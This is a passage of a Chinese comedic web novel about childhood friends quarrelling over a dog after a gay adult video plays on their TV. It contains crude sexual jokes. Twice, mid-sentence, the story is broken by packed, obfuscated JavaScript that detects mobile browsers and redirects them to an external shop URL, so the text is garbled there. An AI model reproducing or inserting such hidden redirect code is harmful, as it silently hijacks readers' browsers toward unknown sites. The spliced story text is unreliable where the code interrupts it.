怎么还有男有女的——凌柏尧心里嘀咕着,看向白晓元和霍世昕,两人一个看天花板,一个看狗,就是不看他。 这题他真答不上来了。 好在谢定仪也没为难他,说:“今晚你如果没事,就来陪我打游戏,我想玩《双人成行》,打完游戏了就在我家睡。” “行啊。”一听是谢定仪的邀请,凌柏尧顿时心花怒放,他抬起手腕看了一眼时间,说,“马上,我就在老霍家里,马上开车过来。” “嗯,那路上小心一点,我等你。” 挂断电话后,凌柏尧一看,霍世昕和白晓元已经坐回沙发上继续喝可乐撸狗看电影了,虽然没明说,但两人的表情明显都是“慢走”。 看起来三人的燃冬情是真没了,不过凌柏尧心情好,也不在乎这些,甚至还因为心情大好,高兴了,忘形了,膨胀了,也不谈艺术了,在临走前,以科学的角度,批判屏幕上那部让他忍了一个小时的男男激一情片。 “不严谨。”凌柏尧说,“润滑也不用,这是要强塞啊,唧唧不得破皮?力的作用是相互的,最后就是唧破屁残。” “第二天还活蹦乱跳这不开玩笑吗?都说了唧破屁残,不躺三天都对不起那个大高个。” “艺术是艺术,艺术你也得讲科学啊。” “这简直就是误导观众!” 凌柏尧批判完,转头要和霍世昕以及白晓元说再见,却见两人都高兴极了,尤其是白晓元,语气里都带着欢快的活泼和如释重负的轻松,就是问出的问题振聋发聩直击灵魂深处。 “凌哥,你是怎么知道得这么详细的?” 10. 2.9个直男 “?”凌柏尧觉得不太对,“你们俩怎么看起来都这么高兴?” 白晓元立马搓了搓脸,用力把脸上的笑容压下去:“没有没有。” 凌柏尧:“真没有?” 白晓元超大声:“没有!” 看到凌柏尧狐疑的眼神,他还特意找了个补。 “获得新知识难道本身不就是一件令人高兴的事吗?这很奇怪吗?这就是科学的魅力啊!” 霍世昕:“……” 凌柏尧更不理解了:“不是,这算什么值得让人高兴的新知识?你学了有用吗?你又不去搞男人。” 白晓元哑口无言,好一会儿,才慌忙说道:“我可以帮朋友搞男人!” 霍世昕在他身后咳了一声。 可惜已经晚了。 凌柏尧脑子里的自动追踪基达已经把他们共同认识的朋友都扫描了一圈,根据六人定律,白晓元的朋友,他肯定也见过甚至说上过话。 也就是说,他的身边有基佬? 凌柏尧的表情都不太好看了。 “哪个朋友?” 白晓元:“。” 危机时刻,霍世昕终于出手了。 比起白晓元时刻被凌柏尧带着跑的脑回路,霍世昕那称得上是不忘初心,轻松挽回我方溃败之势。 “老大,你到底从哪里知道的这些?” 凌柏尧说:“你们忘了我姥爷就是专门看这个的医生吗?” 白晓元终于想起来了:“哦,还真是。” 凌柏尧的姥爷还不只是普通医生这么简单,他是直肠外科界的大拿,省内知名的一把刀,霍世昕曾怀疑过凌柏尧这么恐同,是不是因为小时候在姥爷姥姥家过暑假,翻医学图册给翻出了心里阴影。 不过这都不重要了,本来想找瓢儿白问的答案,这下都有了。 润滑没有!唧破屁残也没有!通通都没有! 白晓元松了口气。 剧情有救了,他和霍世昕的屁一股都守住了,更重要的是,他和霍世昕又可以当回彼此最重要的好兄弟了! 就是他现在实在不敢笑,他怕自己一笑就被凌柏尧追问“你到底要帮哪个好朋友搞男人”,于是强迫自己转头,继续看电视。 “老大你该走了,我送你。” 霍世昕早就想送客了,眼下也不管三七二十,把桌上的可乐瓶外卖盒零食袋全扫进垃圾袋里,然后抽紧抽绳,挂在凌柏尧的手指上,勾着他的肩膀往外走。 “走了走了。老二还在等你,你别迟到了。” 两人勾肩搭背往门外走,先坐电梯下了负一楼扔垃圾,然后霍世昕陪凌柏尧去取车。 “这周末一起去玩越野,场地费用我来搞定。”霍世昕搭在凌柏尧肩膀上的手轻快地在他肩头拍了拍,“去不去?” “去啊,你请客,我不去?”凌柏尧也是个爱车的,经常和霍世昕两人去玩越野,他看出来霍世昕现在心情极好,问,“怎么了这是?心情这么好。” “你来我家做客,我心情当然好了。”霍世昕给凌柏尧拉开驾驶座车门,“下回你来之前还是提前说一声,别搞突然袭击,可乐都没给你多准备一瓶。” 凌柏尧一只脚都踏上车了,又收回来,扶着车门回过头问霍世昕。 “不对啊,老霍,我怎么觉得你在赶我走?” 霍世昕面不改色;“没有。” “有。”凌柏尧相信自己敏锐的直觉,他问,“我两哪里闹矛盾了?” 霍世昕说:“开玩笑,我两有矛盾,我请你玩越野?我钱多烧得慌?” 想赶紧把凌柏尧送走是一回事,凌柏尧替他解决了一件大麻烦又是一回事,至少通过凌柏尧让白晓元知道了那晚什么都没发生,白晓元也不会再躲着他了。 只要白晓元不躲他,他就还有机会。 “走了走了。”霍世昕急着上楼和白晓元一起看电影,半哄半推搡把凌柏尧请上车,然后手一扬 ,直接从外面关上驾驶座的门,“帮我向老二问好。” 他都没来得及等凌柏尧把车开出来,把门一关掉头就走,凌柏尧看着他急切的背影,嘀咕着拉过安全带系上。 “啧,还说没想赶我走。” 霍世昕迅速上了电梯。 按照他的计划,今晚他打算让白晓元留下来,他发现白晓元看《请以你的名字呼唤我》时并不太排斥,那么等下一起打会儿游戏或者看会儿其他电视吃点夜宵后,他可以建议再看一部,尺度可以稍微再大一点,题材也可以选择青梅竹马。 反正不急,只要白晓元没有任何不适,他可以慢慢来。 一切都是顺理成章的,直到霍世昕走出电梯,直到他按下密码锁,打开了大门玄关。 一阵急切的喘气声从客厅传来,伴随着一声白晓元心急的尖叫。 “瓢儿白,快把眼睛闭上!小狗不能看这个!” 一刻钟前。 趁着霍世昕下楼送凌柏尧,白晓元把电影按了暂停,然后去了趟卫生间。电影只剩十来分钟了,他打算等霍世昕回来了一起看。 瓢儿白就一直粘着他,他去卫生间瓢儿白就蹲门口,他收拾茶几,瓢儿白就绕着茶几打转。 光干活没零食的心眼子小鸡毛今晚怨气很大。 然而白晓元根本就没想给它喂零食,等忙活一通下来,他坐回沙发拿起一边的手机,瓢儿白走到沙发边,把下巴搁在沙发上,眼巴巴地看着他。 “不可以。”白晓元低头看着手机,“你今天已经吃了两块冻干了。” “汪汪!” “不行。” “汪汪汪!” “绝对不行。” 瓢儿白卖了萌,扮了可怜,白晓元郎心似铁,就是不松口。 一怒之下,小鸡毛黑化了,跳上沙发就把遥控器叼走了。 ——去你的卡密撒狗,我小鸡毛今天要当路西法狗,把你的遥控器啃烂烂! 白晓元还是继续淡定玩手机,甚至还摸了块薯片塞嘴里:“啃呗,啃了让你爸买新的,他有钱。” 气得瓢儿白扬过脑袋就把遥控器甩在一边。 啪嗒一声,遥控器砸在地上,不知道触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438345|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了那个按键,屏幕上暂停的画面突然一闪,然后屏幕变黑了。 白晓元:“……” 他慢吞吞从沙发上爬起来,捡过把地上摔地四分五裂的遥控器,把电池装好,按下了开机键。 屏幕终于打开了,但不是刚刚电影暂停的画面,而是跳到了主屏幕。 这就有点为难白晓元了,他对智能设备仅限于玩手机,实在玩不了霍世昕公寓里这一整套的高端智能影音设备。 他仔细研究了一阵,没把电影调出来,也没听到蓝光机读盘的声音,气急之下直接一通乱按,就在这时,一个视频文件跳出来。 白晓元不想再研究,电视能播视频就行,他先随便看看,等会儿霍世昕回来了让他调回电影就行。 他在沙发上安稳地坐下来。 ——就是这个视频吧,它有点怪,视频名不是那些以内容或者电影名字命名,而是一个网址“”,看起来像是从某个网站上下载下来的。 不管了,先看着。 白晓元伸手摸过茶几上的薯片,摇了摇,发现没了,又起身打算去厨房翻零食。 走之前他还特意把瓢儿白偷偷摸摸藏屁股下的遥控器拿出来,瞪了它一眼,才去了厨房。 “零食零食在哪里。”白晓元哼着小曲在厨房翻零食,客厅里传来两个男人说话的声音,听起来像是外国片。 过了会儿,他突然听到客厅又传来熟悉的绿色青蛙五个字,也没在意。 瓢儿白已经在他心里失去信誉了,这小鸡毛也不知道是被凌柏尧教得太好还是太不好,看那部《请以你的名字呼唤我》时,只要是两男的脑袋一靠近它就开始狂按“卧槽恶俗啊”,简直比他和霍世昕还恐同。 他也没当回事,在厨房翻箱倒柜一阵,终于翻到一袋喜欢的虾干,然后又摸了根香蕉,喜滋滋地剥开皮,一边啃着一边朝客厅走去。 ——然后他看到了电视里的画面。 视频里也在吃大香蕉。 一个金发白皮肤的美少年跨坐在另一个黑皮大汉的身上,两人成对虾的姿势,金发美少年吃得有些困难,却不时发出满足的声音。 白晓元嘴里的香蕉顿时不香了。 手里的虾片也不香了。 几秒后,他才反应过来,扔了手里香蕉和虾片,朝趴在沙发上认真看电视的瓢儿白扑过去。 “你怎么不按按钮呢!!!你学哪儿去了!!”白晓元手忙脚乱地去捂瓢儿白的眼睛,尖叫道,“小金毛不能看!” 瓢儿白一个闪避,躲过了白晓元的攻击,然后冲着在沙发上摔了个大马趴的白晓元摇了摇尾巴,无辜地偏着脑袋看向他。 它那小脑瓜子里压根就没明白发生了什么事,它刚刚不是按了按钮吗,但爸爸也没听见呀,至于现在它为什么不按——也没人教过它两个男的肯基基时要按按钮呀。 “你,你过来——”白晓元费力地从沙发上爬起来,他刚摔得狠了,这一下还没能撑起来,身体刚倒下去,就被人从身后揽住腰,轻松的把他从沙发上拦腰抱起来。 11. 2.9个直男 “我一不在,你就和瓢儿白干上架了?”霍世昕单膝压在沙发上,把白晓元抱起来,看着他憋得通红的精致脸蛋儿好气又好笑,“你几岁?” “你——”白晓元就老实了几秒,然后开始在霍世昕怀里剧烈挣扎,“你管我!” “放我下来!” “行行行,我放你下来。”霍世昕把白晓元放下来,本意是想让他坐沙发上,白晓元却不干了。 霍世昕宽肩高个身材又好,单膝跪在沙发上,几乎能把白晓元整个都笼罩起来,白晓元只有仰起头看对方,却见此人在嗯嗯啊啊的背景音下丝毫没有一点反思之意,反而冲他挑了挑眉,大拇指朝后比了比电视里激一情四射的画面,问:“你放的?” 白晓元:“?” 你还栽赃起我来了??? 白晓元从沙发上跳起来,光站在沙发上还不够,他还特意踏出一脚踩着沙发扶手,俯视眼前一米九一的霍世昕,大手一挥指着电视。 身高差就代表气势差,输什么都不能输气势! “霍世昕,你不解释一下吗?”白晓元一手怒指电视,还不忘用另一手提了提刚刚挣扎时松掉的裤子维持形象,“这视频怎么回事?” “房东留下来的。”霍世昕倒是不以为,抱着胳膊在白晓元身边坐下来,向后舒服地靠住沙发,长腿抬起来闲适地搭在茶几上。 “这黑皮哥们儿身材挺好啊,估计身高体重和我差不多。” 白晓元:“?你还看上了?” 再一反应过来,生气地说:“你对着小簧片都能吹一波自己身材好?” 霍世昕耸肩:“难道不好吗?” 还不忘让一边蹲着边吃瓜边看片的小鸡毛给自己打个call:“瓢儿白,你说爸爸说的对不对?” 瓢儿白:“嗷嗷嗷——” 嗷和好同韵母,那就是好了。 霍世昕:“看吧,瓢儿白看了都说好,就你这个小傻瓜不懂欣赏。” 白晓元:“??” 他实在忍不下去了,直接从沙发跳到茶几上,脚一踩关了电视,然后蹲下来,和霍世昕面对面,小脸上全是强忍的严肃。 “别满嘴跑火车了,这套电视明明就是你搬来后才买的!这套房子房租才几千,房东会买几万的电视给租客用?” 小脑瓜子这时候倒是挺灵光了,看起来有那么点生气,但也不太多。 不过吸取了之前的教训,霍世昕也不打算冲动了,他举起手佯装投降:“好吧,我实话实说,你不是说要让瓢儿白看电视帮忙回忆一下那天晚上的事吗,我想了一下,电影的表现方法和实际差别还是有点大,瓢儿白它不一定能看懂,还是得来点真刀真枪,我就随便找了部小簧片,打算问不出瓢儿白时换这部看看。” 霍世昕觉得这个借口还挺完美的,事实他从最开始就不觉得瓢儿白能帮上忙,白晓元那会儿肯定是急坏了,病急乱投医。 只是他也没想到他就下楼送了一下凌柏尧,白晓元竟然把这部片子翻出来了。 ——也行吧,一步到位。 霍世昕脑海里刷刷刷修改着方才的规划,接下里就是哄一哄他的发小,然后一起下楼去遛下狗,便利点买点零食,大排档买几份小龙虾啤酒,回家后洗个澡吃个夜宵,然后其他照以前方案进行。 却没想到自己认为完美的借口,直接让白晓元气爆炸了。 “霍世昕,你竟然敢给瓢儿白看小簧片!!!” * 凌柏尧也没想到,他从小区出口回来拿车时,看到了戏剧化的一幕。 他的好兄弟之一火冒三丈地从单元楼里冲出来,一边冲一遍骂道:“霍世昕,你别追我!我不会原谅你的!” 再往远处一看,嚯,他另一个好兄弟还真在追他这个好兄弟,物理意义上的追。 这乐子有点大啊。 凌柏尧也不着急开车去见谢定仪了,他向后靠着自己那台黑色的改装大G,手指勾着车钥匙转悠,悠悠然看自己两个好兄弟倾情上演狗血大剧。 霍世昕个高腿长,几步就把白晓元追上了,想抓住他的胳膊解释,没想到白晓元一下就把他甩开了,霍世昕反应极快,马上又去拦,这次直接把他两个手腕都按住了。 “我解释一下好不好?” “谁要听你解释!”白晓元怒气冲冲地说,“霍世昕,你在我这里已经没信誉了!” 论嘴炮,白晓元当然比不过法学院出身的霍世昕,他直接上武行了,凌柏尧他一看不对啊,这两人要打起来了,立马收了车钥匙走过去劝架。 “干嘛呢。”他直接插一到两人之间,左手一个,右手一个,勾住两好兄弟的脖子当和事佬,“你俩搁这演言情剧呢?还你追我赶的。” “谁跟他演言情剧了?” 白晓元这次是真生气了,直接用力掀了凌柏尧的胳膊:“说不听就不听,走了!” 他调头就跑,霍世昕见状又想去追,没想到凌柏尧见到白晓元跑了,下意识就用力把霍世昕的肩膀压住了,他常年健身打球,力气不小,和霍世昕不相上下,两人下意识较了会儿劲,就这十几秒时间,刚好有辆出租车停在小区门口,让白晓元直接跑掉了。 “你怎么回事?”霍世昕看到扬长而去的出租车,无奈地回头看凌柏尧,“你不是急着去见老二吗?怎么还没走。” “我是准备走 ,结果车都到门口了,遇到一个老大爷,刚拿了驾照不太会倒车,就帮他把车开到车库停好了,这不刚回来取车吗。” 白晓元跑了,凌柏尧只有问霍世昕了:“你和小白又是怎么回事,怎么就要打起来了?” 霍世昕语气不太好:“你哪个眼睛看到我和小白要打起来了?你没看到我在哄他吗?” 凌柏尧:“呵,你这叫哄啊,你都把小白手腕捏了那么重的两条红印子,你搞强一制爱呢?” 两人的发小情是从小打架打出来的,年纪渐长感情深了,打架是不打了,嘴上那是时不时要争两句的。 霍世昕斜眼看他:“老大,我劝你还是赶紧走。” “我走了,你知道怎么去哄小白?男人连自己的兄弟都哄不好,还想拿puma的香薰去哄女孩子。”凌柏尧说,“你这是本末倒置,实话就是,女孩子要好好哄,发小也要好好哄,两手都要抓,两手都要硬。” 霍世昕:“?” 好为人师也是让凌柏尧用上了,哄女孩子他不在行,哄发小他确实挺在行。 两人短暂摩擦后,又和解了。 “温柔一点,ok?”凌柏尧勾着霍世昕的脖子,两人凑到一起交换哄发小心得,“我对初夏从来不敢用力气,像小白和初夏这样娇生惯养细皮嫩肉的就得力气轻点儿,你把小白弄疼了,他不生你的气才怪。” 霍世昕说:“我没动他。” “看吧,你这真是没救了。”凌柏尧看了一眼时间,在陪谢定仪打游戏和陪霍世昕兄弟谈心之间还是选择了陪谢定仪打游戏,他觉得霍世昕绝对在哄发小这事上肯定是有天赋的,就是他心思不在好兄弟身上,但凡12345个女朋友少一个两个,男德分能加上来,兄弟也能哄好了。 但这真的得靠他自己悟了。 “有什么不能解释的?都二十多年的好兄弟了,你看当年我和你两人一见面都打架,最后还不是成铁哥们了。”上车前,凌柏尧对霍世昕说道,“除非你现在跑去给小白说,你喜欢他,你要和他搞对象,还要和他上一床,否则你俩这矛盾就能解——用点心啊,哥们,好兄弟之间没有过夜仇。” 霍世昕:“……” * 直到凌柏尧到了谢定仪家,和谢定仪玩上了游戏,他都没弄明白霍世昕和白晓元是怎么吵架了,不过这在他们四人里也常见,相处了20多年,矛盾时常有,不过就和他说的一样,好兄弟之间没有隔夜仇,四个人吵着打着就长大了,感情也深了。 他连这事儿都没告诉谢定仪,反正他觉得以霍世昕这聪明脑子,明天早上肯定和小白和好了。 结果到了晚上,白晓元气不过,跑来找他和谢定仪告状了。 他还以为天大件事,结果搞了半天,是白晓元觉得霍世昕没有好好养瓢儿白。 “霍世昕真的太过分了,他竟然给瓢儿白看小簧片!” “真的很过分,而且我开始问他,他还骗我,说小簧片是房东留下的。” “看他那么熟练,绝对不是第一次了!” ipad就搁在客厅上,谢定仪和凌柏尧一边玩游戏,一边听着茶几上的ipad里源源不断传来白晓元的痛诉。 “跳。”谢定仪轻声提醒,“快点。” 凌柏尧熟练地操作着手柄,结果他操作的角色跳过去了,谢定仪没过去。 “哎,又死了。”谢定仪叹了口气,放下手柄。 “那休息一会儿?”凌柏尧问。< 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“就,霍世昕,他还,他还问瓢儿白他身材好不好,他,他那么爱孔雀开屏,肯定,说不定都在瓢儿白面前遛过鸟!” “还有,他一点也不控制瓢儿白的零食!瓢儿白讨零食都讨出十八般武艺了!” “还有……” 两年纪最大的就坐沙发上听年纪最小的痛诉老三对小鸡毛的各种不作为,凌柏尧抱起胳膊翘着长腿坐在谢家大别墅的大客厅里认真听着,身边的谢定仪边听边喝着家里阿姨给他煮的水果茶,途中偷瞄了一眼身边的凌柏尧,趁他不注意,飞快地从糖罐里舀了一勺糖,刚准备加到自己的杯子里,上一秒还认真看着ipad的凌柏尧抬手就把糖勺拦住了。 “当我没看见?” “哼。”谢定仪虽是不满,还是把糖勺放了回去。 就在这时,一个爽朗的女声从楼梯口传来。 “哎呀,看来清官难断家务事啊。” 香风飘过,谢定仪的小姨突然出现在沙发后面,她弯下腰撑在沙发靠背上,语气轻快地问,“都几点了?你俩还不睡?” “过会儿就睡。”谢定仪伸长胳膊,从桌上拿了果盘,向后递给小姨,“来一点?” “要进组了,减肥呢,哪里敢吃这些。”小姨挥了挥披肩,下巴冲着茶几上的ipad抬了抬,“小白和小霍这矛盾还没解决呢?” “没有。”凌柏尧皱眉说道,其实他也没听出来到底是什么矛盾闹得大晚上白晓元要来告状,但白晓元都来告状了,怎么也得替他把事情解决了。 他和谢定仪对白晓元倒是有十足的耐心,又听白晓元车轱辘告了一边状,两人也不烦,吃着水果零食,不时回应几句,就是看到谢定仪水果吃太多了,凌柏尧怕他吃多了水果晚上牙疼,便不让他吃了,拿了袋巴西松子剥给他吃。 小姨趴在沙发靠背上,陪着这两人把白晓元的痛诉又听了一遍,边听边啧啧啧。 “你们俩这感情和情绪稳定地就像是拿着退休金衣食无忧,每天晚上一起出门散步跳个广场舞,回来看会儿电视十一点准时上床睡觉的老两口,结果半夜被女儿一个电话叫起来,听女儿在电话哭诉女婿如何云云,还要大半夜解决女儿女婿矛盾。” 谢定仪:“?” 他回头问小姨:“有吗?” “小姨说有,那不肯定有,她可是视后。”凌柏尧把几粒剥好的松子塞在谢定仪手里,然后其他的殷勤地递给身后的小姨,谢定仪的外婆,母亲,小姨,二姨各个都是文艺界的重量级大佬,家庭关系融洽,三姐妹关系极好,经常来谢定仪家里小住,当然也是凌柏尧为了进谢家大门要哄的对象。小姨过几天要进组了,所以带着儿子过来找姐姐玩,没想到大晚上还听到这几个小辈的狗血兄弟情。 这可是小姨的专长,她是专演狗血都市剧的大青衣,收视女王加视后,本来只是下楼来溜达下顺便和侄子还有侄子发小打个招呼,没想到听了个八卦,竟然听到了自己的专业领域。 这剧情她熟啊! 谢定仪悉心请教:“那您看这怎么解决。” 小姨托腮:“看你女儿怎么说喽。” 专业人士不愧是专业人士,没过一会儿,谢定仪的微信便跳出来白晓元的消息。 “初夏哥,你在吗?” 12. 2.9个直男 谢定仪拿起手机,先是回头看小姨,说:“我回了?” 对方点点头,他回头在手机敲下回复。 “我在,怎么了?” 白晓元说:“就是,我想问问,可不可以让瓢儿白在你家寄养一段时间?” 谢定仪说:“可以啊。” 当初瓢儿白由谢定仪领养也曾是一个备选,他家的独栋大别墅大花园可以充分满足小鸡毛的运动需求,就是离A大远,白晓元又不会开车,想来看瓢儿白时不太方便。 谢定仪倒觉得这些不是问题,他说:“你要是觉得远,想来看瓢儿白时就让我家司机接送你,或者你干脆申请不住校,就住我家里,早上我上课顺路捎你过去,晚上司机配合你的课表去接你。” “可以可以,初夏,你就让小白过来住。”身后的小姨连声赞同,她是个爱热闹爱聊天的,偏偏谢定仪不怎么爱说话,家里没人的时候她憋得慌,这下有了狗,还有了个打小就喜欢的小辈,这是再高兴不过的事情了。 “书房隔壁的那个套房是空的,等会儿让管家收拾一下,让小白搬过来,我明天就去学校帮他收拾行李。” 一边的凌柏尧幽幽地说:“那是我的房间……” 小姨好奇:“你不是没在这儿住吗?” 凌柏尧更幽怨了:“那不是因为你们都不让我晚上在这里留宿吗……” “啊,是这样吗?”小姨转头问谢定仪,“初夏,我怎么不记得了?” “有。”谢定仪回着消息,点头,“去年中秋你和二姨,妈妈三个人和柏尧在家里打麻将,被他一打三打得头破血流,然后集体放话说,三年之内不准让他在家里住。” “哦,记起来,还真有这事。”小姨回忆了会儿,终于想起来这件事,大手一挥,“赦免了。” 小姨即将有狗,心花路放,大赦天下,不仅赦免了凌柏尧 ,还把自己晚上十点还在楼上哭唧唧写小学二年级作业的崽给赦免了。 一晚上的功夫,几人把白晓元住哪里,怎么接送他上放学,怎么遛狗,谁送瓢儿白上日托班都给安排好了,本以为一切顺理成章,就等白晓元带着瓢儿白住进谢家。 不料过了两天白晓元来谢家吃晚饭,吃完之后盘腿坐在二楼的小客厅里,面对眼前盯着她的谢定仪和小姨等人,为难地说:“我还没想好要怎么把瓢儿白弄出来。” 其实昨天下午白晓元就去主动找了霍世昕,两人聊了些有的没的,听起来有破冰的意思,没想到白晓元一说起要把瓢儿白带走送去谢家寄养,霍世昕却一反常态,态度十分强硬。 “我个人认为把瓢儿白送去老二家里不太妥当。”他列举了好几条理由,包括谢家别墅太远,谢定仪母亲是著名画家,家里很多她已完成或未完成的画作和收藏,瓢儿白撒起欢来没轻没重会碰到画和藏品,以及白晓元不管是住在谢家,还是坐车来回其实都不太方便。 他甚至还列举了自己的种种优势,总之就是一个意思——他绝对不可能让瓢儿白去谢家寄养。 两人闹得不欢而散,气得白晓元托法学院的朋友打听到霍世昕晚上有事,立马溜去霍世昕的公寓想把瓢儿白偷出来,结果一试——霍世昕竟然把公寓大门的密码改了! 没偷到狗的白晓元要气疯了,站在公寓大门口给霍世昕发微信,让他把家门开了。 霍世昕马上就回了,他甚至开着会还有闲心和他拉扯:“你用语音叫一声‘世昕哥哥’,就和小时候那样,我再考虑考虑。” 白晓元大骂:“凑不要脸!” 他直接把霍世昕拉黑了,然后跑到龙鲤湖畔宠物版块询问怎么偷狗。 一直是龙鲤湖畔糊糊板块的宠物版迎来了今年的第一个大乐子。 1L:[震惊],元元公主你也养狗吗? 3L@1L:你傻了吧,元元公主去年发帖询问怎么救那只得了细小的小鸡毛帖子还挂在精华帖里呢。 1L:哦,想起来了,所以还是那只小鸡毛吗? 9L:瓢儿白? 21L:那八成就是瓢儿白了。 47L:瓢儿白,你坛本学期最红狗狗,还是今年从来没在宠物版出现过的狗狗,热度吊打你校知名一汽重卡网红猫了[笑死]。 55L回复47L:可恶,不许挑起猫狗大战[捶打]宝贝们都是好狗好咪。 63L:来帮大鲤子鱼们再回忆一下,我们霍公子对元元公主的那句惊天渣男发言——“你可以不搭理我,但你不能不管瓢儿白吧”。 121L:别这样[猫猫头爆哭],你知道我站在F34坑边不往下跳是多大的毅力吗? 149L:所以现在上演到哪一步?F3F4的友情真崩啦? 199L:不是,你们发小闹矛盾吵架也要抢小鸡毛的抚养权吗?这和情侣有区别吗? 221L:就是情侣啦[肯定]。 250L:奇怪,治疗哥怎么还不出来发小作文,都好多人请愿了,他都没出来让F34去喝中药,难道他也迫于F4压力屈服了? 267L:是真的怪,这事儿都大半个月了,治疗哥就是不进相关贴,我明明看到他每天都挺活跃的。 回帖已经歪向治疗哥了,白晓元看的眼皮子一跳,虽然他是匿名给治疗哥发的私信求解惑,万一这贴真把治疗哥钓出来把他和那条私信对上号了,到时候一闹大,他都怕霍世昕以为自己暗恋他,还为了霍世昕进了同性恋互助矫正群。 他连忙出来发言:“你们不要再歪贴了好吗,我是直男,霍世昕也是直男,我们也没什么特别大的矛盾,就是养狗方面有点小摩擦,现在我要把瓢儿白暂时弄出来,给点建议可以吗?” 299L:这真没辙,交给楼下了,咱也不懂法,咱也不懂你们直男的友情啊。 302L:或许,at袁立阿姨? 310L:袁立阿姨说过了,她没有偷狗[烟] 340L:袁立阿姨那也是偷和前夫一起养的狗,和你们直男一起养的狗有什么关系[怒][怒][怒] 360L:看吧,我就说了,所有情(直)侣(男)一起养猫养狗的过程,就是质疑袁立,理解袁立,成为袁立。 …… 白晓元也是没办法了。 他愁眉苦脸地坐在小客厅的中间,又把故事从头到尾讲了一遍。 当然,他没说那小簧片的事情。 这事把小姨,谢妈,还有谢定仪的八岁小表弟缸豆听得一愣一愣的,只有谢定仪淡定坐一边喝着水果茶和凌柏尧发信息。 小表弟到底是七八岁狗都嫌的年纪,听完故事就不安分了,从沙发上蹦起来大声说:“这怎么和我妈演的电视剧剧情一样啊——” 他刚一说完,就被旁边的谢定仪看了一眼,然后立马吓得滚回沙发上坐好,背挺得直直的,小手放在膝盖上。 “我什么都没说。” 谢妈问白晓元:“所以小霍真把公寓密码改了不让你进去?” 白晓元一想起来就有气:“改了!” 谢妈回过头问:“初夏,你说柏尧要去帮忙遛狗,也知道小霍公寓的密码,他也打不开公寓的门?” 谢定仪说:“昨晚小白就给柏尧发信息问密码了,也改了。” 谢妈也有点生气了:“小霍怎么这样呀。” 小姨安慰白晓元:“不气不气,小姨想办法给你把瓢儿白要回来。” 谢妈拿出手机:“这可不好办呢,法律意义上,瓢儿白就是小霍的狗——算了,让我来问问我的律师好了。” 谢定仪一瞥:“您可别费心思了,忘了谢家集团的必胜客律师天团吗,霍世昕自己都是学法的。” “哦,也是。”谢妈叹气,把手机放了回去,“头疼。” “抢回来。”还是家庭狗血剧收视女王的小姨经验丰富,直接发话了,“这不就是夫妻闹离婚抢孩子吗,要什么律师不律师的,抢就得了。” 行动派的小姨开始大点名了:“明天,初夏,云荷——” 她指了指自己:“还有我,直接就去小霍公寓门口,只要他开门,就把瓢儿白抢回来。” “不去。”谢定仪翘着长腿,继续喝茶看手机,“人多,我又不会吵架。” 谢妈说;“你不会吵架,你就当个背景,你平常吓缸豆吓你那些学弟学妹的那个气势拿来震一震小霍也是可以的。” 一说起谢定仪吓缸豆,小表弟缸豆抖了一下,坐得更直了。 小姨说:“就是,小白叫云荷叫我都叫姨妈,我们怎么说也是小白的娘家人,是看着他长大的,娘家人给他撑腰不是很正常的事吗?这不本来就是小霍的不对吗?” 谢定仪:“……” “把柏尧也叫上。”谢妈和小姨已经自我代入娘家人角色了,姐妹俩凑一起窃窃私语半晌,小姨对谢定仪说,“一定要把柏尧叫上,小霍那个头大,不叫柏尧不行,吵架我们在行,打架我和你妈妈真不行啊!” 谢妈连连点头:“对对,我再带两个保镖。” 三姐妹不愧是各自圈子里的drama queen,商量完了还打电话问谢定仪的二姨要不要来,二姨远在大洋彼岸开演奏会,现在已经开完了,正在海边拍杂志物料。 “我回不来啊。”二姨兴奋的尖叫在海风的呼啸声中被吹成天女散花,“初——夏——” 谢定仪无奈:“又怎么了?” 二姨满身的高定礼服和华美珠宝都掩不住满腔吃瓜的激情:“记——得——给——我——直——播——啊——” 谢定仪:“……你们开心就好。” 小表弟缸豆转过头看看亲妈和大姨,然后又看了完全不知道为何神速进展成这样已然一脸懵逼的白晓元。 “我呢?我呢?”缸豆又蹦跶起来了,“怎么没有我啊!” 小姨一脸嫌弃地挥挥手:“小孩一边玩去,别耽误大人的正事,明天会有家教来陪你拼乐高。” “我不!”趁着谢定仪起身去接外面接电话,缸豆瞬间活跃了,到底是视后的亲儿子,不仅电视剧看得多,戏瘾也深。 “我要去我要去,我要当小白哥哥的大舅哥!” 缸豆开始在地上打滚:“他都有娘家人了,怎么能没有一个大舅哥呢?” 小姨更嫌弃了:“你真当妈妈是去演戏吗?这不是去给小白哥哥撑腰吗?” “妈妈你都演小白哥哥娘家人了,那我就是小白哥哥大舅哥!”缸豆嚷嚷道,“我绝对要帮小白哥哥把瓢儿白要回来。” 小屁孩在地上一滚,顺势躺成大字型;“我会给霍世昕哥哥说,他要瓢儿白可以,那他必须踏过我这个大舅哥的尸体!” 然后又爬起来,指着窗户外面大声说道:“渣男你记住了,瓢儿白这孩子,它是姓白的!” 小姨:“……” 谢妈:“……天青,你平常在家,剧本都是给孩子随便看的吗?” 果真是狗都嫌的年纪,真闹腾起来,谢妈和小姨根本镇不住,顷刻间只察觉到一阵冷风飕飕飘过,谢定仪接完电话回来,抱着胳膊斜倚在门口,冷眼看着缸豆在小客厅里乱窜。 “谁是你小白哥哥的大舅哥?” 小表弟缸豆回头,闭嘴,立正,然后在真大舅哥极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16438347|185000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 